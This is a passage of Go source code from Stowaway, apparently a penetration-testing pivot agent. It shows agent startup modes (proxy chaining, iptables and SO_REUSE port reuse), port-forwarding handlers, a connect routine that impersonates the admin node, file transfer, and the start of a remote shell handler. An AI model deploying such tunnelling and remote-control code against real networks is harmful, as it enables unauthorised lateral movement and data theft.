105 | 		case protocol.SOCKSUDPDATA:
106 | 			admin.mgr.SocksManager.SocksMessChan <- message
107 | 		case protocol.FORWARDREADY:
108 | 			fallthrough
109 | 		case protocol.FORWARDDATA:
110 | 			fallthrough
111 | 		case protocol.FORWARDFIN:
112 | 			admin.mgr.ForwardManager.ForwardMessChan <- message
113 | 		case protocol.BACKWARDREADY:
114 | 			fallthrough
115 | 		case protocol.BACKWARDDATA:
116 | 			fallthrough
117 | 		case protocol.BACKWARDFIN:
118 | 			fallthrough
119 | 		case protocol.BACKWARDSTOPDONE:
120 | 			fallthrough
121 | 		case protocol.BACKWARDSTART:
122 | 			admin.mgr.BackwardManager.BackwardMessChan <- message
123 | 		case protocol.CHILDUUIDREQ: // include "connect" && "listen" func, let ListenManager do all this stuff,ConnectManager can just watch
124 | 			fallthrough
125 | 		case protocol.LISTENRES:
126 | 			admin.mgr.ListenManager.ListenMessChan <- message
127 | 		case protocol.CONNECTDONE:
128 | 			admin.mgr.ConnectManager.ConnectMessChan <- message
129 | 		case protocol.NODEREONLINE:
130 | 			fallthrough
131 | 		case protocol.NODEOFFLINE:
132 | 			admin.mgr.ChildrenManager.ChildrenMessChan <- message
133 | 		default:
134 | 			printer.Fail("\r\n[*] Unknown Message!")
135 | 		}
136 | 	}
137 | }
138 | 


--------------------------------------------------------------------------------
/agent/agent.go:
--------------------------------------------------------------------------------
 1 | package main
 2 | 
 3 | import (
 4 | 	"log"
 5 | 	"net"
 6 | 	"runtime"
 7 | 
 8 | 	"Stowaway/agent/initial"
 9 | 	"Stowaway/agent/process"
10 | 	"Stowaway/global"
11 | 	"Stowaway/protocol"
12 | 	"Stowaway/share"
13 | )
14 | 
15 | func init() {
16 | 	runtime.GOMAXPROCS(runtime.NumCPU())
17 | }
18 | 
19 | func main() {
20 | 	options := initial.ParseOptions()
21 | 
22 | 	share.GeneratePreAuthToken(options.Secret)
23 | 
24 | 	agent := process.NewAgent(options)
25 | 
26 | 	protocol.SetUpDownStream(options.Upstream, options.Downstream)
27 | 
28 | 	var conn net.Conn
29 | 	switch options.Mode {
30 | 	case initial.NORMAL_PASSIVE:
31 | 		conn, agent.UUID = initial.NormalPassive(options)
32 | 	case initial.NORMAL_RECONNECT_ACTIVE:
33 | 		fallthrough
34 | 	case initial.NORMAL_ACTIVE:
35 | 		conn, agent.UUID = initial.NormalActive(options, nil)
36 | 	case initial.SOCKS5_PROXY_RECONNECT_ACTIVE:
37 | 		fallthrough
38 | 	case initial.SOCKS5_PROXY_ACTIVE:
39 | 		proxy := share.NewSocks5Proxy(options.Connect, options.Socks5Proxy, options.Socks5ProxyU, options.Socks5ProxyP)
40 | 		conn, agent.UUID = initial.NormalActive(options, proxy)
41 | 	case initial.HTTP_PROXY_RECONNECT_ACTIVE:
42 | 		fallthrough
43 | 	case initial.HTTP_PROXY_ACTIVE:
44 | 		proxy := share.NewHTTPProxy(options.Connect, options.HttpProxy)
45 | 		conn, agent.UUID = initial.NormalActive(options, proxy)
46 | 	case initial.IPTABLES_REUSE_PASSIVE:
47 | 		defer initial.DeletePortReuseRules(options.Listen, options.ReusePort)
48 | 		conn, agent.UUID = initial.IPTableReusePassive(options)
49 | 	case initial.SO_REUSE_PASSIVE:
50 | 		conn, agent.UUID = initial.SoReusePassive(options)
51 | 	default:
52 | 		log.Fatal("[*] Unknown Mode")
53 | 	}
54 | 
55 | 	global.InitialGComponent(conn, options.Secret, agent.UUID)
56 | 	global.G_TLSEnable = options.TlsEnable
57 | 
58 | 	agent.Run()
59 | }
60 | 


--------------------------------------------------------------------------------
/agent/handler/backward.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"fmt"
  5 | 	"net"
  6 | 
  7 | 	"Stowaway/agent/manager"
  8 | 	"Stowaway/global"
  9 | 	"Stowaway/protocol"
 10 | )
 11 | 
 12 | type Backward struct {
 13 | 	Lport    string
 14 | 	Rport    string
 15 | 	Listener net.Listener
 16 | }
 17 | 
 18 | func newBackward(listener net.Listener, lPort, rPort string) *Backward {
 19 | 	backward := new(Backward)
 20 | 	backward.Listener = listener
 21 | 	backward.Lport = lPort
 22 | 	backward.Rport = rPort
 23 | 	return backward
 24 | }
 25 | 
 26 | func (backward *Backward) start(mgr *manager.Manager) {
 27 | 	mgrTask := &manager.BackwardTask{
 28 | 		Mode:     manager.B_NEWBACKWARD,
 29 | 		Listener: backward.Listener,
 30 | 		RPort:    backward.Rport,
 31 | 	}
 32 | 
 33 | 	mgr.BackwardManager.TaskChan <- mgrTask
 34 | 	<-mgr.BackwardManager.ResultChan
 35 | 
 36 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 37 | 
 38 | 	for {
 39 | 		conn, err := backward.Listener.Accept()
 40 | 		if err != nil {
 41 | 			backward.Listener.Close() // todo:closebackward消息处理
 42 | 			return
 43 | 		}
 44 | 
 45 | 		seqHeader := &protocol.Header{
 46 | 			Sender:      global.G_Component.UUID,
 47 | 			Accepter:    protocol.ADMIN_UUID,
 48 | 			MessageType: protocol.BACKWARDSTART,
 49 | 			RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 50 | 			Route:       protocol.TEMP_ROUTE,
 51 | 		}
 52 | 
 53 | 		seqMess := &protocol.BackwardStart{
 54 | 			UUIDLen:  uint16(len(global.G_Component.UUID)),
 55 | 			UUID:     global.G_Component.UUID,
 56 | 			LPortLen: uint16(len(backward.Lport)),
 57 | 			LPort:    backward.Lport,
 58 | 			RPortLen: uint16(len(backward.Rport)),
 59 | 			RPort:    backward.Rport,
 60 | 		}
 61 | 
 62 | 		protocol.ConstructMessage(sMessage, seqHeader, seqMess, false)
 63 | 		sMessage.SendMessage()
 64 | 
 65 | 		mgrTask = &manager.BackwardTask{
 66 | 			Mode:  manager.B_GETSEQCHAN,
 67 | 			RPort: backward.Rport,
 68 | 		}
 69 | 		mgr.BackwardManager.TaskChan <- mgrTask
 70 | 		result := <-mgr.BackwardManager.ResultChan
 71 | 		if !result.OK {
 72 | 			conn.Close()
 73 | 			return
 74 | 		}
 75 | 
 76 | 		seq, ok := <-result.SeqChan
 77 | 		if !ok {
 78 | 			conn.Close()
 79 | 			return
 80 | 		}
 81 | 
 82 | 		go backward.handleBackward(mgr, conn, seq)
 83 | 	}
 84 | }
 85 | 
 86 | func (backward *Backward) handleBackward(mgr *manager.Manager, conn net.Conn, seq uint64) {
 87 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 88 | 
 89 | 	defer func() {
 90 | 		finHeader := &protocol.Header{
 91 | 			Sender:      global.G_Component.UUID,
 92 | 			Accepter:    protocol.ADMIN_UUID,
 93 | 			MessageType: protocol.BACKWARDFIN,
 94 | 			RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 95 | 			Route:       protocol.TEMP_ROUTE,
 96 | 		}
 97 | 
 98 | 		finMess := &protocol.BackWardFin{
 99 | 			Seq: seq,
100 | 		}
101 | 
102 | 		protocol.ConstructMessage(sMessage, finHeader, finMess, false)
103 | 		sMessage.SendMessage()
104 | 	}()
105 | 
106 | 	mgrTask := &manager.BackwardTask{
107 | 		Mode:  manager.B_ADDCONN,
108 | 		RPort: backward.Rport,
109 | 		Seq:   seq,
110 | 	}
111 | 	mgr.BackwardManager.TaskChan <- mgrTask
112 | 	result := <-mgr.BackwardManager.ResultChan
113 | 	mgr.BackwardManager.SeqReady <- true
114 | 	if !result.OK {
115 | 		conn.Close()
116 | 		return
117 | 	}
118 | 
119 | 	// ask for corresponding datachan
120 | 	mgrTask = &manager.BackwardTask{
121 | 		Mode:  manager.B_GETDATACHAN,
122 | 		RPort: backward.Rport,
123 | 		Seq:   seq,
124 | 	}
125 | 	mgr.BackwardManager.TaskChan <- mgrTask
126 | 	result = <-mgr.BackwardManager.ResultChan
127 | 	if !result.OK {
128 | 		return
129 | 	}
130 | 
131 | 	dataChan := result.DataChan
132 | 
133 | 	go func() {
134 | 		for {
135 | 			if data, ok := <-dataChan; ok {
136 | 				conn.Write(data)
137 | 			} else {
138 | 				conn.Close()
139 | 				return
140 | 			}
141 | 		}
142 | 	}()
143 | 
144 | 	dataHeader := &protocol.Header{
145 | 		Sender:      global.G_Component.UUID,
146 | 		Accepter:    protocol.ADMIN_UUID,
147 | 		MessageType: protocol.BACKWARDDATA,
148 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
149 | 		Route:       protocol.TEMP_ROUTE,
150 | 	}
151 | 
152 | 	buffer := make([]byte, 20480)
153 | 
154 | 	for {
155 | 		length, err := conn.Read(buffer)
156 | 		if err != nil {
157 | 			conn.Close()
158 | 			return
159 | 		}
160 | 
161 | 		backwardDataMess := &protocol.BackwardData{
162 | 			Seq:     seq,
163 | 			DataLen: uint64(length),
164 | 			Data:    buffer[:length],
165 | 		}
166 | 
167 | 		protocol.ConstructMessage(sMessage, dataHeader, backwardDataMess, false)
168 | 		sMessage.SendMessage()
169 | 	}
170 | }
171 | 
172 | func testBackward(mgr *manager.Manager, lPort, rPort string) {
173 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
174 | 
175 | 	header := &protocol.Header{
176 | 		Sender:      global.G_Component.UUID,
177 | 		Accepter:    protocol.ADMIN_UUID,
178 | 		MessageType: protocol.BACKWARDREADY,
179 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
180 | 		Route:       protocol.TEMP_ROUTE,
181 | 	}
182 | 
183 | 	succMess := &protocol.BackwardReady{
184 | 		OK: 1,
185 | 	}
186 | 
187 | 	failMess := &protocol.BackwardReady{
188 | 		OK: 0,
189 | 	}
190 | 
191 | 	listenAddr := fmt.Sprintf("0.0.0.0:%s", rPort)
192 | 	listener, err := net.Listen("tcp", listenAddr)
193 | 	if err != nil {
194 | 		protocol.ConstructMessage(sMessage, header, failMess, false)
195 | 		sMessage.SendMessage()
196 | 		return
197 | 	}
198 | 
199 | 	backward := newBackward(listener, lPort, rPort)
200 | 
201 | 	go backward.start(mgr)
202 | 
203 | 	protocol.ConstructMessage(sMessage, header, succMess, false)
204 | 	sMessage.SendMessage()
205 | }
206 | 
207 | func sendDoneMess(all uint16, rPort string) {
208 | 	// here is a problem,if some of the backward conns cannot send FIN before DONE,then the FIN they send cannot be processed by admin
209 | 	// but it's not a really big problem,because users must know some data maybe lost since they choose to close backward
210 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
211 | 
212 | 	header := &protocol.Header{
213 | 		Sender:      global.G_Component.UUID,
214 | 		Accepter:    protocol.ADMIN_UUID,
215 | 		MessageType: protocol.BACKWARDSTOPDONE,
216 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
217 | 		Route:       protocol.TEMP_ROUTE,
218 | 	}
219 | 
220 | 	doneMess := &protocol.BackwardStopDone{
221 | 		All:      all,
222 | 		UUIDLen:  uint16(len(global.G_Component.UUID)),
223 | 		UUID:     global.G_Component.UUID,
224 | 		RPortLen: uint16(len(rPort)),
225 | 		RPort:    rPort,
226 | 	}
227 | 
228 | 	protocol.ConstructMessage(sMessage, header, doneMess, false)
229 | 	sMessage.SendMessage()
230 | }
231 | 
232 | func DispatchBackwardMess(mgr *manager.Manager) {
233 | 	for {
234 | 		message := <-mgr.BackwardManager.BackwardMessChan
235 | 
236 | 		switch mess := message.(type) {
237 | 		case *protocol.BackwardTest:
238 | 			go testBackward(mgr, mess.LPort, mess.RPort)
239 | 		case *protocol.BackwardSeq:
240 | 			mgrTask := &manager.BackwardTask{
241 | 				Mode:  manager.B_GETSEQCHAN,
242 | 				RPort: mess.RPort,
243 | 				Seq:   mess.Seq,
244 | 			}
245 | 			mgr.BackwardManager.TaskChan <- mgrTask
246 | 			result := <-mgr.BackwardManager.ResultChan
247 | 
248 | 			if result.OK {
249 | 				result.SeqChan <- mess.Seq
250 | 				<-mgr.BackwardManager.SeqReady
251 | 			} else {
252 | 				sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
253 | 
254 | 				finHeader := &protocol.Header{
255 | 					Sender:      global.G_Component.UUID,
256 | 					Accepter:    protocol.ADMIN_UUID,
257 | 					MessageType: protocol.BACKWARDFIN,
258 | 					RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
259 | 					Route:       protocol.TEMP_ROUTE,
260 | 				}
261 | 
262 | 				finMess := &protocol.BackWardFin{
263 | 					Seq: mess.Seq,
264 | 				}
265 | 
266 | 				protocol.ConstructMessage(sMessage, finHeader, finMess, false)
267 | 				sMessage.SendMessage()
268 | 			}
269 | 		case *protocol.BackwardData:
270 | 			mgrTask := &manager.BackwardTask{
271 | 				Mode: manager.B_GETDATACHAN_WITHOUTUUID,
272 | 				Seq:  mess.Seq,
273 | 			}
274 | 			mgr.BackwardManager.TaskChan <- mgrTask
275 | 			result := <-mgr.BackwardManager.ResultChan
276 | 
277 | 			if result.OK {
278 | 				result.DataChan <- mess.Data
279 | 			}
280 | 		case *protocol.BackWardFin:
281 | 			mgrTask := &manager.BackwardTask{
282 | 				Mode: manager.B_CLOSETCP,
283 | 				Seq:  mess.Seq,
284 | 			}
285 | 			mgr.BackwardManager.TaskChan <- mgrTask
286 | 		case *protocol.BackwardStop:
287 | 			if mess.All == 1 {
288 | 				mgrTask := &manager.BackwardTask{
289 | 					Mode: manager.B_CLOSESINGLEALL,
290 | 				}
291 | 				mgr.BackwardManager.TaskChan <- mgrTask
292 | 			} else {
293 | 				mgrTask := &manager.BackwardTask{
294 | 					Mode:  manager.B_CLOSESINGLE,
295 | 					RPort: mess.RPort,
296 | 				}
297 | 				mgr.BackwardManager.TaskChan <- mgrTask
298 | 			}
299 | 			<-mgr.BackwardManager.ResultChan
300 | 			go sendDoneMess(mess.All, mess.RPort)
301 | 		}
302 | 	}
303 | }
304 | 


--------------------------------------------------------------------------------
/agent/handler/connect.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"crypto/tls"
  5 | 	"errors"
  6 | 	"net"
  7 | 	"time"
  8 | 
  9 | 	"Stowaway/agent/manager"
 10 | 	"Stowaway/global"
 11 | 	"Stowaway/protocol"
 12 | 	"Stowaway/share"
 13 | 	"Stowaway/share/transport"
 14 | )
 15 | 
 16 | type Connect struct {
 17 | 	Addr string
 18 | }
 19 | 
 20 | func newConnect(addr string) *Connect {
 21 | 	connect := new(Connect)
 22 | 	connect.Addr = addr
 23 | 	return connect
 24 | }
 25 | 
 26 | func (connect *Connect) start(mgr *manager.Manager) {
 27 | 	var sUMessage, sLMessage, rMessage protocol.Message
 28 | 
 29 | 	sUMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 30 | 
 31 | 	hiHeader := &protocol.Header{
 32 | 		Sender:      protocol.ADMIN_UUID, // fake admin
 33 | 		Accepter:    protocol.TEMP_UUID,
 34 | 		MessageType: protocol.HI,
 35 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 36 | 		Route:       protocol.TEMP_ROUTE,
 37 | 	}
 38 | 
 39 | 	// fake admin
 40 | 	hiMess := &protocol.HIMess{
 41 | 		GreetingLen: uint16(len("Shhh...")),
 42 | 		Greeting:    "Shhh...",
 43 | 		UUIDLen:     uint16(len(protocol.ADMIN_UUID)),
 44 | 		UUID:        protocol.ADMIN_UUID,
 45 | 		IsAdmin:     1,
 46 | 		IsReconnect: 0,
 47 | 	}
 48 | 
 49 | 	doneHeader := &protocol.Header{
 50 | 		Sender:      global.G_Component.UUID,
 51 | 		Accepter:    protocol.ADMIN_UUID,
 52 | 		MessageType: protocol.CONNECTDONE,
 53 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 54 | 		Route:       protocol.TEMP_ROUTE,
 55 | 	}
 56 | 
 57 | 	doneSuccMess := &protocol.ConnectDone{
 58 | 		OK: 1,
 59 | 	}
 60 | 
 61 | 	doneFailMess := &protocol.ConnectDone{
 62 | 		OK: 0,
 63 | 	}
 64 | 
 65 | 	var (
 66 | 		conn net.Conn
 67 | 		err  error
 68 | 	)
 69 | 
 70 | 	defer func() {
 71 | 		if err != nil {
 72 | 			protocol.ConstructMessage(sUMessage, doneHeader, doneFailMess, false)
 73 | 			sUMessage.SendMessage()
 74 | 		}
 75 | 	}()
 76 | 
 77 | 	conn, err = net.DialTimeout("tcp", connect.Addr, 10*time.Second)
 78 | 
 79 | 	if err != nil {
 80 | 		return
 81 | 	}
 82 | 
 83 | 	if global.G_TLSEnable {
 84 | 		var tlsConfig *tls.Config
 85 | 		// Set domain as null since we are in the intranet
 86 | 		tlsConfig, err = transport.NewClientTLSConfig("")
 87 | 		if err != nil {
 88 | 			conn.Close()
 89 | 			return
 90 | 		}
 91 | 		conn = transport.WrapTLSClientConn(conn, tlsConfig)
 92 | 	}
 93 | 	// There's no need for the "domain" parameter between intranet nodes
 94 | 	param := new(protocol.NegParam)
 95 | 	param.Conn = conn
 96 | 	proto := protocol.NewDownProto(param)
 97 | 	proto.CNegotiate()
 98 | 
 99 | 	if err = share.ActivePreAuth(conn); err != nil {
100 | 		return
101 | 	}
102 | 
103 | 	sLMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID)
104 | 
105 | 	protocol.ConstructMessage(sLMessage, hiHeader, hiMess, false)
106 | 	sLMessage.SendMessage()
107 | 
108 | 	rMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID)
109 | 	fHeader, fMessage, err := protocol.DestructMessage(rMessage)
110 | 
111 | 	if err != nil {
112 | 		conn.Close()
113 | 		return
114 | 	}
115 | 
116 | 	var childUUID string
117 | 
118 | 	if fHeader.MessageType == protocol.HI {
119 | 		mmess := fMessage.(*protocol.HIMess)
120 | 		if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 {
121 | 			if mmess.IsReconnect == 0 {
122 | 				childIP := conn.RemoteAddr().String()
123 | 
124 | 				cUUIDReqHeader := &protocol.Header{
125 | 					Sender:      global.G_Component.UUID,
126 | 					Accepter:    protocol.ADMIN_UUID,
127 | 					MessageType: protocol.CHILDUUIDREQ,
128 | 					RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
129 | 					Route:       protocol.TEMP_ROUTE,
130 | 				}
131 | 
132 | 				cUUIDMess := &protocol.ChildUUIDReq{
133 | 					ParentUUIDLen: uint16(len(global.G_Component.UUID)),
134 | 					ParentUUID:    global.G_Component.UUID,
135 | 					IPLen:         uint16(len(childIP)),
136 | 					IP:            childIP,
137 | 				}
138 | 
139 | 				protocol.ConstructMessage(sUMessage, cUUIDReqHeader, cUUIDMess, false)
140 | 				sUMessage.SendMessage()
141 | 
142 | 				childUUID = <-mgr.ListenManager.ChildUUIDChan
143 | 
144 | 				uuidHeader := &protocol.Header{
145 | 					Sender:      protocol.ADMIN_UUID, // Fake admin LOL
146 | 					Accepter:    protocol.TEMP_UUID,
147 | 					MessageType: protocol.UUID,
148 | 					RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
149 | 					Route:       protocol.TEMP_ROUTE,
150 | 				}
151 | 
152 | 				uuidMess := &protocol.UUIDMess{
153 | 					UUIDLen: uint16(len(childUUID)),
154 | 					UUID:    childUUID,
155 | 				}
156 | 
157 | 				protocol.ConstructMessage(sLMessage, uuidHeader, uuidMess, false)
158 | 				sLMessage.SendMessage()
159 | 			} else {
160 | 				reheader := &protocol.Header{
161 | 					Sender:      global.G_Component.UUID,
162 | 					Accepter:    protocol.ADMIN_UUID,
163 | 					MessageType: protocol.NODEREONLINE,
164 | 					RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
165 | 					Route:       protocol.TEMP_ROUTE,
166 | 				}
167 | 
168 | 				reMess := &protocol.NodeReonline{
169 | 					ParentUUIDLen: uint16(len(global.G_Component.UUID)),
170 | 					ParentUUID:    global.G_Component.UUID,
171 | 					UUIDLen:       uint16(len(mmess.UUID)),
172 | 					UUID:          mmess.UUID,
173 | 					IPLen:         uint16(len(conn.RemoteAddr().String())),
174 | 					IP:            conn.RemoteAddr().String(),
175 | 				}
176 | 
177 | 				protocol.ConstructMessage(sUMessage, reheader, reMess, false)
178 | 				sUMessage.SendMessage()
179 | 
180 | 				childUUID = mmess.UUID
181 | 			}
182 | 
183 | 			childrenTask := &manager.ChildrenTask{
184 | 				Mode: manager.C_NEWCHILD,
185 | 				UUID: childUUID,
186 | 				Conn: conn,
187 | 			}
188 | 			mgr.ChildrenManager.TaskChan <- childrenTask
189 | 			<-mgr.ChildrenManager.ResultChan
190 | 
191 | 			mgr.ChildrenManager.ChildComeChan <- &manager.ChildInfo{UUID: childUUID, Conn: conn}
192 | 
193 | 			protocol.ConstructMessage(sUMessage, doneHeader, doneSuccMess, false)
194 | 			sUMessage.SendMessage()
195 | 
196 | 			return
197 | 		}
198 | 	}
199 | 
200 | 	conn.Close()
201 | 	err = errors.New("node seems illegal")
202 | }
203 | 
204 | func DispatchConnectMess(mgr *manager.Manager) {
205 | 	for {
206 | 		message := <-mgr.ConnectManager.ConnectMessChan
207 | 
208 | 		switch mess := message.(type) {
209 | 		case *protocol.ConnectStart:
210 | 			connect := newConnect(mess.Addr)
211 | 			go connect.start(mgr)
212 | 		}
213 | 	}
214 | }
215 | 


--------------------------------------------------------------------------------
/agent/handler/file.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/agent/manager"
 5 | 	"Stowaway/protocol"
 6 | 	"Stowaway/share"
 7 | )
 8 | 
 9 | func DispatchFileMess(mgr *manager.Manager) {
10 | 	for {
11 | 		message := <-mgr.FileManager.FileMessChan
12 | 
13 | 		switch mess := message.(type) {
14 | 		case *protocol.FileStatReq:
15 | 			mgr.FileManager.File.FileName = mess.Filename
16 | 			mgr.FileManager.File.SliceNum = mess.SliceNum
17 | 			err := mgr.FileManager.File.CheckFileStat(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT)
18 | 			if err == nil {
19 | 				go mgr.FileManager.File.Receive(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT)
20 | 			}
21 | 		case *protocol.FileStatRes:
22 | 			if mess.OK == 1 {
23 | 				go mgr.FileManager.File.Upload(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT)
24 | 			} else {
25 | 				mgr.FileManager.File.Handler.Close()
26 | 			}
27 | 		case *protocol.FileDownReq:
28 | 			mgr.FileManager.File.FilePath = mess.FilePath
29 | 			mgr.FileManager.File.FileName = mess.Filename
30 | 			go mgr.FileManager.File.SendFileStat(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT)
31 | 		case *protocol.FileData:
32 | 			mgr.FileManager.File.DataChan <- mess.Data
33 | 		case *protocol.FileErr:
34 | 			mgr.FileManager.File.ErrChan <- true
35 | 		}
36 | 	}
37 | }
38 | 


--------------------------------------------------------------------------------
/agent/handler/forward.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"net"
  5 | 	"time"
  6 | 
  7 | 	"Stowaway/agent/manager"
  8 | 	"Stowaway/global"
  9 | 	"Stowaway/protocol"
 10 | )
 11 | 
 12 | type Forward struct {
 13 | 	Seq  uint64
 14 | 	Addr string
 15 | }
 16 | 
 17 | func newForward(seq uint64, addr string) *Forward {
 18 | 	forward := new(Forward)
 19 | 	forward.Seq = seq
 20 | 	forward.Addr = addr
 21 | 	return forward
 22 | }
 23 | 
 24 | func (forward *Forward) start(mgr *manager.Manager) {
 25 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 26 | 
 27 | 	finHeader := &protocol.Header{
 28 | 		Sender:      global.G_Component.UUID,
 29 | 		Accepter:    protocol.ADMIN_UUID,
 30 | 		MessageType: protocol.FORWARDFIN,
 31 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 32 | 		Route:       protocol.TEMP_ROUTE,
 33 | 	}
 34 | 
 35 | 	finMess := &protocol.ForwardFin{
 36 | 		Seq: forward.Seq,
 37 | 	}
 38 | 
 39 | 	defer func() {
 40 | 		protocol.ConstructMessage(sMessage, finHeader, finMess, false)
 41 | 		sMessage.SendMessage()
 42 | 	}()
 43 | 
 44 | 	conn, err := net.DialTimeout("tcp", forward.Addr, 10*time.Second)
 45 | 	if err != nil {
 46 | 		return
 47 | 	}
 48 | 
 49 | 	task := &manager.ForwardTask{
 50 | 		Mode: manager.F_CHECKFORWARD,
 51 | 		Seq:  forward.Seq,
 52 | 	}
 53 | 
 54 | 	mgr.ForwardManager.TaskChan <- task
 55 | 	result := <-mgr.ForwardManager.ResultChan
 56 | 	if !result.OK {
 57 | 		conn.Close()
 58 | 		return
 59 | 	}
 60 | 
 61 | 	task = &manager.ForwardTask{
 62 | 		Mode: manager.F_GETDATACHAN,
 63 | 		Seq:  forward.Seq,
 64 | 	}
 65 | 	mgr.ForwardManager.TaskChan <- task
 66 | 	result = <-mgr.ForwardManager.ResultChan
 67 | 	if !result.OK { // no need to close conn,cuz conn has been already recorded,so if FIN occur between F_UPDATEFORWARD and F_GETDATACHAN,closeTCP will help us to close the conn
 68 | 		return
 69 | 	}
 70 | 
 71 | 	dataChan := result.DataChan
 72 | 
 73 | 	go func() {
 74 | 		for {
 75 | 			if data, ok := <-dataChan; ok {
 76 | 				conn.Write(data)
 77 | 			} else {
 78 | 				conn.Close()
 79 | 				return
 80 | 			}
 81 | 		}
 82 | 	}()
 83 | 
 84 | 	dataHeader := &protocol.Header{
 85 | 		Sender:      global.G_Component.UUID,
 86 | 		Accepter:    protocol.ADMIN_UUID,
 87 | 		MessageType: protocol.FORWARDDATA,
 88 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
 89 | 		Route:       protocol.TEMP_ROUTE,
 90 | 	}
 91 | 
 92 | 	buffer := make([]byte, 20480)
 93 | 
 94 | 	for {
 95 | 		length, err := conn.Read(buffer)
 96 | 		if err != nil {
 97 | 			conn.Close()
 98 | 			return
 99 | 		}
100 | 
101 | 		forwardDataMess := &protocol.ForwardData{
102 | 			Seq:     forward.Seq,
103 | 			DataLen: uint64(length),
104 | 			Data:    buffer[:length],
105 | 		}
106 | 
107 | 		protocol.ConstructMessage(sMessage, dataHeader, forwardDataMess, false)
108 | 		sMessage.SendMessage()
109 | 	}
110 | }
111 | 
112 | func testForward(addr string) {
113 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
114 | 
115 | 	header := &protocol.Header{
116 | 		Sender:      global.G_Component.UUID,
117 | 		Accepter:    protocol.ADMIN_UUID,
118 | 		MessageType: protocol.FORWARDREADY,
119 | 		RouteLen:    uint32(len([]byte(protocol.TEMP_ROUTE))),
120 | 		Route:       protocol.TEMP_ROUTE,
121 | 	}
122 | 
123 | 	succMess := &protocol.ForwardReady{
124 | 		OK: 1,
125 | 	}
126 | 
127 | 	failMess := &protocol.ForwardReady{
128 | 		OK: 0,
129 | 	}
130 | 
131 | 	conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
132 | 	if err != nil {
133 | 		protocol.ConstructMessage(sMessage, header, failMess, false)
134 | 		sMessage.SendMessage()
135 | 		return
136 | 	}
137 | 
138 | 	conn.Close()
139 | 
140 | 	protocol.ConstructMessage(sMessage, header, succMess, false)
141 | 	sMessage.SendMessage()
142 | }
143 | 
144 | func DispatchForwardMess(mgr *manager.Manager) {
145 | 	for {
146 | 		message := <-mgr.ForwardManager.ForwardMessChan
147 | 
148 | 		switch mess := message.(type) {
149 | 		case *protocol.ForwardTest:
150 | 			go testForward(mess.Addr)
151 | 		case *protocol.ForwardStart:
152 | 			task := &manager.ForwardTask{
153 | 				Mode: manager.F_NEWFORWARD,
154 | 				Seq:  mess.Seq,
155 | 			}
156 | 			mgr.ForwardManager.TaskChan <- task
157 | 			<-mgr.ForwardManager.ResultChan
158 | 			forward := newForward(mess.Seq, mess.Addr)
159 | 			go forward.start(mgr)
160 | 		case *protocol.ForwardData:
161 | 			mgrTask := &manager.ForwardTask{
162 | 				Mode: manager.F_GETDATACHAN,
163 | 				Seq:  mess.Seq,
164 | 			}
165 | 			mgr.ForwardManager.TaskChan <- mgrTask
166 | 			result := <-mgr.ForwardManager.ResultChan
167 | 			if result.OK {
168 | 				result.DataChan <- mess.Data
169 | 			}
170 | 		case *protocol.ForwardFin:
171 | 			mgrTask := &manager.ForwardTask{
172 | 				Mode: manager.F_CLOSETCP,
173 | 				Seq:  mess.Seq,
174 | 			}
175 | 			mgr.ForwardManager.TaskChan <- mgrTask
176 | 		}
177 | 	}
178 | }
179 | 


--------------------------------------------------------------------------------
/agent/handler/shell.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"io"
  5 | 	"os/exec"
  6 | 	"runtime"
  7 | 
  8 | 	"Stowaway/agent/initial"
  9 | 	"Stowaway/agent/manager"
 10 | 	"Stowaway/global"
 11 | 	"Stowaway/protocol"
 12 | 	"Stowaway/utils"
 13 | )
 14 | 
 15 | type Shell struct {
 16 | 	stdin   io.Writer
 17 | 	stdout  io.Reader
 18 | 	charset string
 19 | }
 20 | 
 21 | func newShell(options *initial.Options) *Shell {
 22 | 	shell := new(Shell)
 23 | 	shell.charset = options.Charset
 24 | 	return shell
 25 | }
 26 | 
 27 | func (shell *Shell) start() {
 28 | 	var cmd *exec.Cmd
 29 | 	var err error
 30 | 
 31 | 	sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
